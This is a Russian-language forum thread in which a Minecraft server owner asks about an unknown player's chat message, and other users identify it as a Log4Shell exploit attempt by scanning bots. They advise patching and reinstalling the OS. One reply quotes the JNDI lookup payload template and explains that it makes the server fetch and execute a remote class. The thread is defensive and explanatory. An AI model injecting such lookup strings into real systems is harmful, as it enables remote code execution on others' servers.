Помогите Фантомный игрок или что это?

[swat1x]

на локальный сервер (localhost) подключился такой игрок и записал это в чат. (На сервере стоит онлайн мод и всего 3 плагина: LP ViaVersion и мой самопис, который я там тестирую, в нём ничего такого нет) Что это может быть?

 

[swat1x]

https://media.discordapp.net/attachments/856217695976423464/932966781541298196/OfahXhBFINQ.jpg ссылка на картинку, если не открывается

 

[MurlikMurlik]

на локальный сервер (localhost) подключился такой игрок и записал это в чат. (На сервере стоит онлайн мод и всего 3 плагина: LP ViaVersion и мой самопис, который я там тестирую, в нём ничего такого нет) Что это может быть?

Этот игрок заюзал новый эксплоит log4shell, а то что было написано в консоли, результат выполнения.
Вероятнее всего твоя сборка слита и дедик теперь взломан и висит в ботнете.

Обнови ядро до последней версии а так же переустанови систему.

 

[swat1x]

Этот игрок заюзал новый эксплоит log4shell, а то что было написано в консоли, результат выполнения.
Вероятнее всего твоя сборка слита и дедик теперь взломан и висит в ботнете.

Обнови ядро до последней версии а так же переустанови систему.

Сервер локальный, на пк у меня стоит

 

[MurlikMurlik]

Сервер локальный, на пк у меня стоит

Судя по тому, что к тебе подключились (да и еще не с локального ип), сервер не локальный и к нему может любой подключиться.
Скорее всего боты сканирующие интернет, время от времени заходят чтобы заюзать этот эксплоит.
Рекомендую чекнуть пк на вирусы или сразу переустановить ос.

 

[Trolerne]

на локальный сервер (localhost) подключился такой игрок и записал это в чат. (На сервере стоит онлайн мод и всего 3 плагина: LP ViaVersion и мой самопис, который я там тестирую, в нём ничего такого нет) Что это может быть?

Скорее всего так работает античит (проверка на килауру)

 

[swat1x]

Скорее всего так работает античит (проверка на килауру)

какой античит? я написал, что стоит 3 плагина

 

[MurlikMurlik]

Скорее всего так работает античит (проверка на килауру)

Где ты там его увидел?
Если ввести в чат/консоль этот текст

Спойлер: exploit

${jndi:ldap:host😝ort}

, сервер попытается соединится с этим хостом, загрузит класс, а потом его исполнит. Вместо того текста, в консоль высветится что-то типа "Reference Class Name: className", говоря о том, что класс был загружен и код внутри был исполнен.

Здесь атака Log4Shell и если ТС'у не все равно на свой ПК, пусть переустанавливает ОС и обновляет ядро сервера.
О ней уже много раз говорили здесь.
http://rubukkit.org/threads/log4j-chto-i-kak.180223/#post-1685835
http://rubukkit.org/threads/sovmeschenie-minecraftformatting-i-nolookups.180121/

 

[Trolerne]

какой античит? я написал, что стоит 3 плагина

Тогда хз

 

[Overwrite]

на локальный сервер (localhost) подключился такой игрок и записал это в чат. (На сервере стоит онлайн мод и всего 3 плагина: LP ViaVersion и мой самопис, который я там тестирую, в нём ничего такого нет) Что это может быть?

Пункт 5
http://rubukkit.org/threads/zaschit...nenie-ujazvimostej-zaschita-ot-vzloma.178619/

 

[Reality_SC]

Тоже самое на реддите
https://www.reddit.com/r/admincraft/comments/s1xqp3/identifying_potential_exposure_following_log4j/